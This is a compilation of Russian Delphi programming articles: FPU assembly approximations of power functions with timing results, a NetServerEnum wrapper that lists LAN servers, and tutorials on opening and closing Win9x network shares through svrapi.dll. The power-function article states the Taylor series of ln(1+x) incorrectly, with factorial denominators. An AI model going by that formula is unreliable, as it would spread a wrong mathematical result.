ПРЕДУПРЕЖДЕНИЕКак и для предыдущей функции, нужно обеспечить установку бит управления округлением в режим округления к нулю.
function Exp2(x: FLOATTYPE): FLOATTYPE; //0<=x<999
asm
fld x
call Core_Exp2
//Оформим основную часть в виде процедуры, т.к. она будет использоваться не только здесь -
// - да и перегрузку функций для другого типа аргумента так делать удобнее.
end;
procedure Core_Exp2; //На вершине стека FPU находится аргумент
var
i: integer; //Сюда получим индекс в массиве
asm
fld st //Копируем аргумент
fadd st,st //st(1)=x, st(0)=2x
fistp i //Достаем i (индекс равен trunc(2x)); st(0)=x
fild i //Полагаемся на т.н. Store-Forwarding: округленное значение передается сразу инструкции
// fild, не ожидая, пока данные будут записаны в память; st(1)=x, st(0)=trunc(2x)
mov eax,i
fld1 //st(2)=x, st(1)=trunc(2x), st(0)=1
lea eax,[eax*4] //То есть eax:=i*4
add eax,eax // *2
add eax,1 // +1 = i*8+1 (далее при доступе к массиву используется eax*4, то есть i*32+4,
// т.к. каждая строка по 4*8=32 байта и заполнитель в начале – 4 байта.
// Если бы не было заполнителя, последнюю инструкцию нужно было бы убрать.
fadd st,st
fld1
fdivrp //=0.5
fmulp //st(1)=x, st(0)=0.5*trunc(2x)
fsubp //st(0)=dx
//Подсчет по схеме Горнера. Мне казалось, что можно сделать это быстрее,
//пустив параллельно несколько цепочек вычислений, но пока это не удалось сделать.
fld qword ptr coeffspow[4*eax]
fmul st,st(1)
fld qword ptr coeffspow[4*eax+8]
faddp
fmul st,st(1)
fld qword ptr coeffspow[4*eax+16]
faddp
fmul st,st(1)
fld qword ptr coeffspow[4*eax+24]
faddp
fxch st(1)
fstp st //Освобождаем ненужный регистр
end;
ПРЕДУПРЕЖДЕНИЕ
Выполнение этого фрагмента изменяет содержимое регистра EAX.
Оценим погрешность приближения. Так как результат, получаемый как _Power(2,x) (функция _Power приведена в начале статьи), заведомо точнее, чем Exp2(x), то в качестве оченки примем относительное отклонение значения последней функции от значения первой: Epsilon=abs( Exp2(x) - _Power(2,x) ) / _Power(2,x). Разумеется, выражение имеет смысл, если _Power(2,x)<>0.
Если построить график относительной погрешности, становится видно, что в пределах каждого из 1998 отрезков он имеет форму кривой с одним максимумом, сходящей к нулю на концах отрезка. При этом пределы колебаний величины погрешности остаются постоянными на всех отрезках, кроме нескольких последних – на них погрешность возрастает. Если не принимать во внимание эти отрезки, и ограничить область допустимых значений аргумента числом 990 (т.е. x<990), то для описания поведения относительной погрешности в зависимости от x достаточно показать ее график на двух последних допустимых для значений x отрезках:
Рисунок 1. Максимальная погрешность приближения функции Exp2=2**x (при x менее 990) не превышает 0,004%.
СОВЕТ
Мы отсекли отрезки, лежащие правее точки x=990. Следовательно, размер таблицы коэффициентов можно несколько сократить: индекс последнего элемента должен быть 990*2=1980, а не 1998. “Лишние” 19 последних строк таблицы можно просто удалить. Логично также изменить текст комментария в начале функции Exp2.
Новый вариант функции возведения в степеньИзменим реализацию возведения в степень в соответствии с предложенной аппроксимацией для 2**x:
function New_Power(x, y: FLOATTYPE): FLOATTYPE; //abs(y*log2(x))<990 asm fld y fld x fldz //Сравним основание степени fcomip st,st(1) // с 0 и соответственно установим флаги процессора je @Zero FYL2X //Стек: ST(0)=t=y*log2(x) fldz fcomip st,st(1) //Флаги выставляем соответственно числу 0-y*log2(x) ja @Reverse //Если 0>y*log2(x), то сосчитаем 2**|y*log2(x)|, а после инвертируем call Core_Exp2 jmp @Exit @Zero: fxch st(1) fstp st //Освобождаем ненужный регистр jmp @Exit @Reverse: fabs //Берем абсолютную величин call Core_Exp2 fld1 //Считаем обратное значение: fdivrp //1/(2**|y*log2(x)|) @Exit: end;ПРЕДУПРЕЖДЕНИЕ
В этом фрагменте используется инструкция FCOMIP, впервые появившаяся на процессорах Pentium Pro. Любителям антиквариата придется использовать вместо пары команд FCOMIP / JE блок.
FCOMP FSTSW TEST AX, 16384 JNZ@Zero //Вместо je @ZeroПРЕДУПРЕЖДЕНИЕ
А вместо FCOMIP / JA - блок.
FCOMP FSTSW TEST AX, 256 or 16384 //0<= y*log2(x) ? JZ@Reverse //Нет, случай со взятием обратного значенияПРЕДУПРЕЖДЕНИЕ
Вдобавок в этом случае изменяется регистр EAX.
Результаты тестирования отражены на графиках:
Рисунок 2. Временные затраты: New_Power – новая функция, Power – из состава RTL Borland Delphi.
Подпись X-0.511 на оси абсцисс отражает тот факт, что при проведении испытаний брались значения целые значения X, к которым затем прибавлялось число 0.511, чтобы гарантировать, что основание степени – число нецелое (т.е. чтобы рассматривать по возможности общий случай).
Черная линия поверх красного набора – сглаженные временные затраты функции Power, фиолетовая поверх синего – функции New_Power.
Замеры временных затрат производились с помощью инструкции RDTSC (процессоры начиная с Pentium):
function time: int64; //Вспомогательная функция для подсчета времени работы asm rdtsc end;
И далее в коде.
t := time(); ... writeln(time() - t);
RDTSC возвращает в регистровой паре EDX:EAX число тактов процессора, прошедших с момента последнего сброса (reset). Машинный код инструкции – 0Fh, 31h.
Относительная погрешность ведет себя на удивление стабильно, изменяясь в пределах от 0 до 0,0040%. Поэтому достаточно представительным множеством значений аргумента является, к примеру, промежуток (0, 1000).
Рисунок 3.
Видно, что оцененная относительная погрешность (фактически - отклонение от значения, возвращаемого встроенной функцией) на самом деле не превосходит 0.004% !
В случае показателя степени 17 колебания становятся намного чаще, однако общая картина та же.
Аппроксимация функции log2x и “специализация” возведения в степеньЛогарифмирование плохо поддается аппроксимации с помощью кубических сплайнов – точнее, мне удалось это сделать, причем с весьма высокой точностью, но лишь ценой проигрыша по времени в сравнении с использованием FYL2X. Однако здесь есть что предпринять и не прибегая к сплайнам.
Как известно, функция ln(1+x) при |x|<1 разлагается в ряд Тейлора следующим образом:
Ln(1+x)=x-x2/(1*2)+x3/(1*2*3)+…+ xi/i!+…
Если абсолютная величина x достаточно мала, члены ряда, уже начиная с третьего, достаточно слабо сказываются на результате. Поэтому для значений x, достаточно близких к 1 (чтобы остаться в оговоренных выше рамках приемлемых погрешностей, x должен отстоять от 1 не больше чем на 0.01), вычисление log2(x)=ln(x)/ln(2)=ln(x)*log2(e)=ln(1+(x-1))*log2(e) можно заменить вычислением (t-t*t/2)*log2(e), где t=x-1.
Это позволяет построить еще один вариант функции возведения в степень для значений основания, близких к 1. В нем нет инструкции FYL2X, а вместо нее присутствует блок инструкций, помеченных символом “ * ” (знак “~” означает приближенное равенство):
function New_Power_XNear1(x, y: FLOATTYPE): FLOATTYPE; // abs(y*log2(x))<990 asm fld y fld x fldz fcomip st,st(1) je @Zero fld1 (*) fsub st(1),st (*) fld st(1) (*) //st(0)=1; st(1)=st(3)=t=x-1, st(2)=1, st(4)=y fld1 (*) fadd st,st (*) fdivp st(2),st (*) //st(0)=st(2)=t, st(1)=1/2, st(3)=y fmul st,st (*) fmulp st(1),st (*) //st(0)=1/2*t*t, st(1)=t, st(2)=y fsubp st(1),st (*) //st(0)=t-t*t/2 ~ ln(x), st(1)=y fldl2e (*) //Загружаем константу log2(e) fmulp (*) //st(0)~log2(x), st(1)=y fmulp (*) //st(0)~y*log2(x) fldz fcomip st,st(1) ja @Reverse call Core_Exp2 jmp @Exit @Zero: fxch st(1) fstp st //Освобождаем ненужный регистр jmp @Exit @Reverse: fabs call Core_Exp2 fld1 fdivrp @Exit: end;
Таким образом, нам в этом случае (при x, близких к 1) удается избавиться от всех инструкций FPU, принадлежащих к группе трансцендентных, что приводит к впечатляющему росту производительности:
Рисунок 4. Временные затраты: New_Power_XNear1 – специализированный вариант New_Power.
К сожалению, с ростом показателя степени максимальная погрешность растет, оставаясь, впрочем, в оговоренных пределах (т.е. меньше 0,1%; более того – меньше 0,01%) даже при очень больших показателях:
Рисунок 5.
Заключение
Таким образом, нам удалось получить функции, превосходящие встроенную по скорости от двух до четырех раз при погрешности порядка 0.004% - 0.01%. Не исключено, что существует возможность провести более качественную и более выгодную в смысле временных затрат аппроксимацию функций; возможно, даже по другому принципу, а не так, как это было сделано здесь (т.е. исходя из соотношения x**y=2**(y*log2(x)) ).
Для тех же случаев, когда необходима высокая точность вычислений, в качестве первого камня фундамента была рассмотрена функция, исправляющая недостаток Delphi RTL. Несомненно, это направление также достойно дальнейших исследований с целью ускорить заведомо медленные вычисления с повышенной точностью.
Кладезь мудростиОчень познавательно чтение следующих документов:
Intel® Architecture Software Developer’s Manual: том 2, Instruction set reference. Можно найти на сайте Intel www.intel.com. Intel® VTune™ Performance Analyzer, гипертекстовая справка. И вообще, VTune – замечательный инструмент для поиска шероховатостей в программе. Intel® Pentium® 4 and Intel® Xeon™ Processor Optimization Reference Manual. Все там же, на сайте Intel.Изменить регистр выделенного исходного кода.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
Text lower case / Text in Kleinbuchstaben ----------------------------------------- Shortcut / Tastenkombination: Ctrl+K O Text upper case / Text in Grossbuchstaben ----------------------------------------- Shortcut / Tastenkombination: Ctrl+K NПолучение списка серверов в локальной сети.
Автор: Алексей Вуколов WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение списка серверов в локальной сети
Класс-оболочка для функции NetServerEnum.
Примечание. Проверялось только под WinNT/Win2000 (ничего другого под рукой нет).
Методы
------------------
Create( AServer, ADomain : string; AServerMask : longint );
AServer - имя сервера, на котором выполняется функция;
ADomain - имя домена, для которого запрашивается список серверов;
AServerMask - флаги, задающие, список серверов какого типа следует получить.
Этот параметр представляет собой набор флагов SV_TYPE_XXXX. подробнее -
в исходнике и справке по функции WinAPI NetServerEnum.
Refresh.
Обновление списка серверов. Автоматически вызывается при создании класса,
а также при присвоении значения свойству ServerMask.
Свойства
------------------
Servers[ index : integer ] : TServerInfo
Список объектов TServerInfo, содержащих информацию о найденных серверах
- имя, версию, флаги.
Count : integer
Количество найденных серверов
ServerMask : longint
Маска поиска серверов. См. описание параметра AServerMask в конструкторе.
Зависимости: Classes
Автор: vuk
Copyright: Алексей Вуколов
Дата: 26 апреля 2002 г.
***************************************************** }
unit NetSrvList;
interface
uses Classes;
const
SV_TYPE_WORKSTATION = $00000001; // All LAN Manager workstations
SV_TYPE_SERVER = $00000002; // All LAN Manager servers
SV_TYPE_SQLSERVER = $00000004; // Any server running with Microsoft SQL Server
SV_TYPE_DOMAIN_CTRL = $00000008; // Primary domain controller
SV_TYPE_DOMAIN_BAKCTRL = $00000010; // Backup domain controller
SV_TYPE_TIMESOURCE = $00000020; // Server running the Timesource service
SV_TYPE_AFP = $00000040; // Apple File Protocol servers
SV_TYPE_NOVELL = $00000080; // Novell servers
SV_TYPE_DOMAIN_MEMBER = $00000100; // LAN Manager 2.x Domain Member
SV_TYPE_LOCAL_LIST_ONLY = $40000000; // Servers maintained by the browser
SV_TYPE_PRINT = $00000200; // Server sharing print queue
SV_TYPE_DIALIN = $00000400; // Server running dial-in service
SV_TYPE_XENIX_SERVER = $00000800; // Xenix server
SV_TYPE_MFPN = $00004000; // Microsoft File and Print for Netware
SV_TYPE_NT = $00001000; // Windows NT (either Workstation or Server)
SV_TYPE_WFW = $00002000; // Server running Windows for Workgroups
SV_TYPE_SERVER_NT = $00008000; // Windows NT non-DC server
SV_TYPE_POTENTIAL_BROWSER = $00010000;
// Server that can run the Browser service
SV_TYPE_BACKUP_BROWSER = $00020000;
// Server running a Browser service as backup
SV_TYPE_MASTER_BROWSER = $00040000;
// Server running the master Browser service
SV_TYPE_DOMAIN_MASTER = $00080000; // Server running the domain master Browser
SV_TYPE_DOMAIN_ENUM = $80000000; // Primary Domain
SV_TYPE_WINDOWS = $00400000; // Windows 95 or later
SV_TYPE_ALL = $FFFFFFFF; // All servers
type
TServerInfo = class(TObject)
svr_Platform_ID: integer;
svr_Name: WideString;
svr_Version_Major,
svr_Version_Minor,
svr_Type: integer;
svr_Comment: WideString;
end;
TServerList = class(TObject)
protected
FList: TList;
FServer, FDomain: WideString;
FServerMask: longint;
procedure Clear;
function GetServer(Index: integer): TServerInfo;
function GetCount: integer;
procedure SetServerMask(const Value: longint);
public
constructor Create(AServer, ADomain: string; AServerMask: longint);
destructor Destroy; override;
procedure Refresh;
property Servers[index: integer]: TServerInfo read GetServer; default;
property Count: integer read GetCount;
property ServerMask: longint read FServerMask write SetServerMask;
end;
implementation
uses
Sysutils;
type
TServer_Info_101 = record
svr_Platform_ID: integer;
svr_Name: PWideChar;
svr_Version_Major,
svr_Version_Minor,
svr_Type: integer;
svr_Comment: PWideChar;
end;
TServer_Infos_101 = array[1..($1FFFFFFF div SizeOf(TServer_Info_101))] of
TServer_Info_101;
function NetServerEnum(ServerName: PWideChar; Level: longint;
var BufPtr: pointer; PrefMaxLen: longint;
var EntriesRead, TotalEntries: longint;
ServType: longint; Domain: PWideChar;
var ResumeHandle: integer): longint;
stdcall; external 'netapi32.dll' name 'NetServerEnum';
constructor TServerList.Create(AServer, ADomain: string; AServerMask: longint);
begin
inherited Create;
Flist := TList.Create;
FServer := Aserver;
FDomain := ADomain;
FServerMask := AServerMask;
Refresh;
end;
destructor TServerList.Destroy;
begin
Clear;
FList.Free;
inherited Destroy;
end;
function TServerList.GetServer(Index: integer): TServerInfo;
begin
Result := TServerInfo(FList[Index]);
end;
function TServerList.GetCount: integer;
begin
Result := FList.Count;
end;
procedure TServerList.Clear;
var
i: integer;
begin
for i := 0 to FList.Count - 1 do
Servers[i].Free;
Flist.Clear;
end;
procedure TServerList.Refresh;
var
EntRead, EntTotal, Resume, i: integer;
Info: integer;
Itm: TServerInfo;
Data: pointer;
pServer, pDomain: PWideChar;
begin
if FServer <> '' then
pServer := PWideChar(FServer)
else
pServer := nil;
if FDomain <> '' then
pDomain := PWideChar(FDomain)
else
pDomain := nil;
Clear;
Info := NetServerEnum(pServer, 101, Data, -1, EntRead, EntTotal,
FServerMask, pDomain, Resume);
if Info = 0 then
for i := 1 to EntRead do
begin
Itm := TServerInfo.Create;
with TServer_Infos_101(Data^)[i] do
begin
Itm.svr_Platform_ID := svr_Platform_ID;
Itm.svr_Name := svr_Name;
Itm.svr_Version_Major := svr_Version_Major;
Itm.svr_Version_Minor := svr_Version_Minor;
Itm.svr_Type := svr_Type;
Itm.svr_Comment := svr_Comment;
end;
FList.Add(Itm);
end
else
raise Exception.Create('Cannot get server list');
end;
procedure TServerList.SetServerMask(const Value: longint);
begin
FServerMask := Value;
Refresh;
end;
end.
Пример использования:
procedure TForm1.Button1Click(Sender: TObject);
var
List: TServerList;
i: integer;
begin
List := TServerList.Create('', '', SV_TYPE_ALL);
for i := 0 to List.Count - 1 do
with List[i] do
Memo1.Lines.Add(Format('%s %s %d.%d %s %x',
[svr_Name, #9, svr_Version_Major, svr_Version_Minor, #9, svr_Type]));
end;
SVR API для непродвинутых.
Автор: Александр Терехов Специально для Королевства Delphi Вступление... Для тех, кто считает мои примеры и статьи "плагиатом без зазрения совести" ( были прецеденты от анонимных авторов), оговорюсь сразу: не я придумал систему Windows и API-функции к ней, а также не я писал хелп по этому поводу. Но это не значит, что использование полученной оттуда информации - есть плагиат, так как вся информация заранее застолблена авторским правом Б.Гейтса & сотоварищи. А раз она принадлежит им и только им, то какое-либо ее использование ни как не может подпадать под понятие "плагиат". Иное дело алгоритмы... Итак хелп. Предыстория Как-то потребовалось программным способом открыть доступ к сетевому ресурсу. После прочтения (в очередной раз) хелпа от Дельфи стало ясно, что сетевым администрированием занимаются функции семейства Net*. А в частности для открытия, закрытия доступа к сетевому ресурсу, а также получения или изменения информации о нем применяются функции подсемейства NetShare*. Однако, как написано в хелпе, все эти функции работают только под WinNT. К сожалению... Но раз Win'9x открывает (закрывает) доступ, значит, можно сделать то же самое и программно. И тут начались поиски. В хелпе сказано, что для Си++ надо применять заголовочный модуль LmShare.h, в котором даны прототипы функций библиотеки netapi32.dll. Посмотрев эту библиотеку утилитой tdump.exe (лежит в директории Delphi_X\Bin), я увидел, что библиотека netapi32.dll (для Win'9x) кроме одной экспортируемой функции netbios более ничего не содержит. Далее включаю обычный поиск текста "NetShareAdd" в файлах *.dll. Поиск выдал результат - среди нескольких библиотек эту строку содержит и библиотека svrapi.dll. Следуя проторенным путем, т.е. через tdump.exe, увидел, что эта библиотека содержит почти все экспортируемые функции с названиями Net*. Ура! Место, где "собака порылась" найдено! Осталось только эту собаку откопать. Ясно, что без знания прототипов этих функций, сами по себе их названия - пустой хлам. Включаю поиск в Интернет строки "svrapi". И вот он, заветный заголовочный модуль! SvrApi.pas. Лежит, голубчик на JEDI! Написал его Petr Vones, за что ему большое спасибо! В этом модуле даны прототипы следующих классов Net-функций: ACCESS SHARE SESSION CONNECTION FILE SERVER SECURITY Описание Net-функций приведено в хелпе от Дельфи. Их работа одинакова как для WinNT, так и для Win'9x. Правда, для Win'9x следует использовать несколько другие аргументы. О чем ниже и пойдет речь. Функция NetShareAdd Все семейство NetShare*, а это: NetShareAdd - открывает доступ к сетевому ресурсу NetShareDel - закрывает доступ к сетевому ресурсу NetShareEnum - показывает количество и свойства ресурсов с открытым доступом NetShareGetInfo - дает полную информацию об открытом сетевом ресурсе NetShareSetInfo - меняет некоторые значения открытого сетевого ресурса здесь я описывать не буду, т.к. намереваюсь выложить примеры для работы со всеми функциями NetShare* на своем сайте. Опишу только одну - NetShareAddИтак функция NetShareAdd. Вот ее прототип:
function NetShareAdd(const pszServer: PChar; sLevel: SmallInt; pbBuffer: Pointer; cbBuffer: Word): NET_API_STATUS; stdcall; |
Если не вдаваться в подробности, то в подключении внешних функций оказывается нет ничего сложного. В Unit.pas после описания класса TForm и до клаузы implementation следует написать:
function NetShareAdd(ServerName: PChar; Level: Integer; pbBuffer: Pointer; BufferSize: Integer): Integer; stdcall; external 'svrapi.dll'; |
PbBuffer - указатель на структуру, в которую будем заносить все данные, необходимые для открытия доступа к ресурсу. На этой структуре следует остановиться более подробно. Вот она сама:
type
TShareInfo50 = packet record
shi50_netname: array[0..LM20_NNLEN] of Char; //сетевое имя
shi50_type: Byte; //тип ресурса
shi50_flags: Short; //флаг доступа
shi50_remark: PChar; // комментарий
shi50_path: PChar; // путь к ресурсу
shi50_rw_password: array[0..SHPWLEN] of Char; //пароль полного доступа
shi50_ro_password: array[0..SHPWLEN] of Char;
//пароль "только чтение" доступа
end;
|
Для функции NetShareAdd предлагаются следующие виды ошибок (в моем вольном переводе):
NO_ERROR = 0; 'Все в порядке' // из LmErr.pas: NERR_BASE = 2100; базовая ошибка для NERR_; NERR_NetNotStarted = NERR_BASE + 2 'Сеть недоступна'; NERR_UnknownServer = NERR_BASE + 3 'Неизвестный сервер'; NERR_ServerNotStarted = NERR_BASE + 14 'Сервер не работает'; NERR_UnknownDevDir = NERR_BASE + 16 'Сетевое устройство отсутствует'; NERR_RedirectedPath = NERR_BASE + 17 'Переназначенное устройство'; NERR_DuplicateShare = NERR_BASE + 18 'Сетевое имя уже существует'; NERR_BufTooSmall = NERR_BASE + 23 'Слишком маленький буфер для данных!'; NERR_NetNameNotFound = NERR_BASE + 210 'Сетевое имя не существует'; NERR_InvalidComputer = NERR_BASE + 251 'Неверное имя компьютера'; NERR_ShareNotFound = NERR_BASE + 292 'Сетевое устройство не обнаружено'; |
Однако бывают и другие ошибки. Почему-то функции SysErrorMessage(GetLastError) и WNetGetLastError при работе с NetShare* (по крайней мере у меня) не срабатывают, поэтому значения ошибок, коды которых менее 2100, я взял из ошибок, общих для всей операционной системы. (из Windows.pas:).
ERROR_NOT_ENOUGH_MEMORY = 8 'Недостаточно памяти'; ERROR_BAD_NETPATH = 53 'Неверное сетевое имя'; ERROR_NETNAME_DELETED = 64 'Сетевой ресурс более недоступен'; ERROR_NETWORK_ACCESS_DENIED = 65 'Отсутствует доступ к сети'; ERROR_BAD_DEV_TYPE = 66 'Неверный тип сетевого ресурса'; ERROR_BAD_NET_NAME = 67 'Не найдено сетевое имя'; ERROR_INVALID_PARAMETER = 87 'Неверный параметр'; ERROR_INVALID_LEVEL = 124 'Неверный уровень администрирования'; |
На новую форму следует положить две кнопочки и привести вид Unit1.pas в соответствие с ниже приведенным кодом.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
//подключаем две функции из библиотеки svrapi.dll
function NetShareAdd(Servername: PChar; Level: Integer; Buffer: Pointer;
BufferSize: Integer): Integer; stdcall; external 'svrapi.dll';
function NetShareDel(Servername: PChar; NetName: PChar; Reserved: DWORD): DWORD;
stdcall; external 'svrapi.dll';
//необходимые константы
const
{см. LmCons.pas}
LM20_NNLEN = 12;
SHPWLEN = 8;
SHI50F_RDONLY = 1;
SHI50F_FULL = 2;
STYPE_DISKTREE = 0;
SHI50F_PERSIST = $0100;
SHI50F_SYSTEM = $0200;
{см. LmErr.pas}
NERR_BASE = 2100;
NERR_NetNotStarted = NERR_BASE + 2;
NERR_UnknownServer = NERR_BASE + 3;
NERR_ServerNotStarted = NERR_BASE + 14;
NERR_UnknownDevDir = NERR_BASE + 16;
NERR_RedirectedPath = NERR_BASE + 17;
NERR_DuplicateShare = NERR_BASE + 18;
NERR_BufTooSmall = NERR_BASE + 23;
NERR_NetNameNotFound = NERR_BASE + 210;
NERR_InvalidComputer = NERR_BASE + 251;
NERR_ShareNotFound = NERR_BASE + 292;
//формируем тип для записи с необходимыми параметрами
type
TShareInfo50 = record
shi50_netname: array[0..LM20_NNLEN] of Char; //сетевое имя
shi50_type: Byte; //тип ресурса
shi50_flags: Short; //флаг доступа
shi50_remark: PChar; // комментарий
shi50_path: PChar; // путь к ресурсу
shi50_rw_password: array[0..SHPWLEN] of Char; //пароль полного доступа
shi50_ro_password: array[0..SHPWLEN] of Char;
//пароль "только чтение" доступа
end; {Record}
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
info50: TShareInfo50;
rc, cb: Integer;
ServerName, Path, NetName, ErrMes, ErrCap, Comment: string;
MessIconBtn: Byte;
begin
//установим необходимые параметры
ServerName := '';
Path := 'C:\TEMP';
NetName := 'TEST';
Comment := 'This is a network machine''s commentary';
//заполним буфер
FillChar(info50, sizeof(info50), 0);
with info50 do
begin {With}
StrCopy(shi50_netname, PChar(NetName)); //сетевое имя
shi50_type := STYPE_DISKTREE; //подключать будем диск
shi50_remark := PChar(Comment); //комментарий
shi50_flags := SHI50F_RDONLY or SHI50F_FULL //доступ определяется паролем
or SHI50F_PERSIST; //и пишется в Registry
shi50_path := PChar(Path); //путь
StrPCopy(shi50_rw_password, 'ASDF'); //пароль для полного доступа
StrPCopy(shi50_ro_password, 'QWE'); // пароль для "только чтение"
end; {With}
//установим размер буфера
cb := sizeof(info50);
//основная функция
rc := NetShareAdd(PChar(ServerName), 50, @info50, cb);
//сформируем текст сообщений об успехе или ошибках
ErrMes := 'Доступ к устройству "' + NetName + '" открыт!';
ErrCap := 'Все в порядке!';
MessIconBtn := MB_OK or MB_ICONINFORMATION;
//проверка ошибок
if rc <> 0 then
begin {ошибка}
ErrCap := 'Ошибка!';
MessIconBtn := MB_OK or MB_ICONERROR;
case rc of
//расшифровка ошибок
ERROR_NOT_ENOUGH_MEMORY: ErrMes := 'Недостаточно памяти';
ERROR_BAD_NETPATH: ErrMes := '"' + Servername +
'" - неверное сетевое имя!';
ERROR_NETNAME_DELETED: ErrMes := 'Сетевой ресурс более недоступен';
ERROR_NETWORK_ACCESS_DENIED: ErrMes := 'Отсутствует доступ к сети';
ERROR_BAD_DEV_TYPE: ErrMes := 'Неверный тип сетевого ресурса';
ERROR_BAD_NET_NAME: ErrMes := 'Не найдено сетевое имя';
ERROR_INVALID_PARAMETER: ErrMes := 'Неверный параметр';
ERROR_INVALID_LEVEL: ErrMes := 'Неверный уровень администрирования';
NERR_InvalidComputer: ErrMes := 'Неверное имя компьютера!';
NERR_UnknownServer: ErrMes := 'Неизвестный сервер!';
NERR_UnknownDevDir: ErrMes := 'Устройство "' + Path + '" отсутствует!';
NERR_ServerNotStarted: ErrMes := 'Сервер не работает!';
NERR_RedirectedPath: ErrMes := 'Переназначенный путь!';
NERR_DuplicateShare: ErrMes := 'Сетевое имя "' + NetName +
'" уже существует!';
NERR_BufTooSmall: ErrMes := 'Слишком маленький буфер для данных!';
else
end; {Case}
end; {ошибка}
//выдадим сообщение
MessageBox(Application.Handle, PChar(ErrMes), PChar(ErrCap), MessIconBtn);
end;
procedure TForm1.Button2Click(Sender: TObject);
var
rc: DWord;
Servername, NetName, ErrMes, ErrCap: string;
MessIconBtn: Byte;
begin
ServerName := '';
NetName := 'TEST';
rc := NetShareDel(PChar(ServerName), PChar(NetName), 0);
ErrMes := 'Доступ к устройству "' + NetName + '" закрыт!';
ErrCap := 'Все в порядке!';
MessIconBtn := MB_OK or MB_ICONINFORMATION;
if rc <> 0 then
begin {ошибка}
//ошибка
ErrCap := 'Ошибка!';
MessIconBtn := MB_OK or MB_ICONERROR;
case rc of
//расшифровка ошибок
ERROR_BAD_NETPATH: ErrMes := '"' + Servername +
'" - неверное сетевое имя!';
ERROR_INVALID_PARAMETER: ErrMes := 'Неверный параметр!';
NERR_NetNotStarted: ErrMes := 'Сеть недоступна!';
NERR_ServerNotStarted: ErrMes := 'Сервер не работает!';
NERR_NetNameNotFound: ErrMes := 'Устройство не существует!';
NERR_ShareNotFound: ErrMes := 'Сетевое имя "' + NetName + '" не найдено!';
else
//смотри ошибки для NetShareAdd или
ErrMes := 'Неизвестная сетевая ошибка!';
end; {Case}
end; {ошибка}
MessageBox(Application.Handle, PChar(ErrMes), PChar(ErrCap), MessIconBtn);
end;
end.
|
Скачать SvrAPI.zip (28K).
SvrAPI.pas - модуль с прототипами Net-функций; LmErr.pas - модуль с кодами ошибок; LmCons.pas - модуль со значениями констант; Examles - пример открытия доступа. В приведенном примере можно было бы просто подключить эти модули в Uses и не мучиться с подключением функции, ее константами и кодами ошибок. Но мне кажется, что так интереснее и намного полезней. Да и каждый раз расшаркиваться перед правообладателем не надо! :)Не забываем, что все, о чем говорилось в этой статье, относится к Win'9x!
SVR API для непродвинутых 2 - как получить информацию об открытом сетевом ресурсе.
Автор: Александр Терехов Специально для Королевства Delphi Вступление Эта статья является логическим продолжением "SvrAPI для непродвинутых или как открыть доступ к сетевому ресурсу". Многое, что было в ней затронуто, в этой статье уже рассматриваться не будет. Поэтому предварительно лучше все-таки прочитать предыдущую статью. Итак, о чем пойдет речь. Мы уже умеем открывать доступ к сетевому ресурсу. Теперь хотелось бы получить информацию об уже открытых сетевых ресурсах. Для этих целей в SvrAPI применяется функция NetShareGetInfo. Однако аргументы этой функции предполагают, что мы уже знаем имя удаленной машины и имена имеющиеся в ней доступных сетевых устройств. Однако, это не всегда так... Можно, конечно, все посмотреть стандартными средствами Windows, например, проводником или открыть сетевое окружение... Да по большому счету, все что мы пытаемся напрограммировать уже давно сделано... Ну, да ладно, вернемся к нашим баранам. Для наглядности изобретем еще один велосипед - напишем небольшую программку позволяющую получать значения, которые приобретает сетевое устройство при открытии к нему доступа. Первый предварительный шаг - получение имен доступных сетевой машины. Второй предварительный шаг - получение имен доступных сетевых устройств. Постучимся в двери - третий предварительный шаг. Ну и, наконец, последнее - получение информации о конкретном сетевом устройстве. Шаг первый. Получение имен доступных сетевых машинДля получения имен доступных сетевых машин воспользуемся функцией SHBrowseForFolder. Эта функция проживает в модуле ShlObj.pas, модуль автоматически не подключается, поэтому в клаузу Uses надо "ручками" добавить ShrObj. Сама функция имеет всего один аргумент - указатель на структуру типа TBrowseInfo.
TBrowserInfo = record hwndOwner: Integer; //хендл "хозяина" диалогового окна pidlRoot: PItemIDList; //указатель на спец.структуру - о ней ниже pszDisplayName: PChar; //сюда получим имя компьютера lpszTitle: PChar; //заголовок диалогового окна ulFlags: Integer; //флаг, указывающий, что именно покажет диалоговое окно lpfn: TFNBFFCallBack; //адрес процедуры, обрабатывающей действия пользователя - Nil lParam: Integer; //доп. параметр для lpfn - 0 iImage: Integer; //номер иконки в списке системных иконок end; |
Ну, начали!
function TForm1.GetComputerNetName: string;
var
RootItemIDList: PItemIDList;
//идентификатор объекта в пространстве имен проводника
BrowseInfo: TBrowseInfo; //структура, в которой содержится информация о диалоге
Buffer: PChar; //сюда получим имя компьютера
begin
Result := '';
//получим нужный идентификатор PItemIDList, CSIDL_NETWORK - в сетевом окружении
if not (SHGetSpecialFolderLocation(0, CSIDL_NETWORK, RootItemIDList) =
NO_ERROR) then
Exit;
//подготовим буфер, в который получим имя компьютера
GetMem(Buffer, Max_Path);
FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);
//подготовим структуру TBrowseInfo
with BrowseInfo do
begin {With BrowseInfo}
hwndOwner := Application.Handle; //хозяин окна - наше приложение
pidlRoot := RootItemIDList;
//полученный ранее идентификатор объекта в списке объектов проводника
pszDisplayName := Buffer; //имя компьютера будем принимать в Buffer
lpszTitle := 'Подключенные компьютеры'; //заголовок диалога
ulFlags := BIF_BROWSEFORCOMPUTER; //будут показаны имена только компьютеров
end; {With BrowseInfo}
//выполним нужную функцию
if SHBrowseForFolder(BrowseInfo) = nil then
Exit;
Result := string(Buffer); //вот оно - сетевое имя компьютера
FreeMem(Buffer);
end;
|
Зная доступное сетевое имя машины, с помощью функции NetShareEnum мы можем получить список имен доступных сетевых устройств этой машины. Вышеуказанная функция помещает информацию о сетевом ресурсе в массив элементов типа TShareInfo50. Размерность этого массива определяется константой MaxNetArrayItems равной 512, т.е. максимально возможное число открытых сетевых ресурсов для одной машины не может превышать 512. Вот прототип этой функции:
function NetShareEnum(const pszServer: PChar; sLevel: SmallInt; pbBuffer: Pointer; cbBuffer: Word; var pcEntriesRead: Word; var pcTotalAvail: Word): DWORD; |
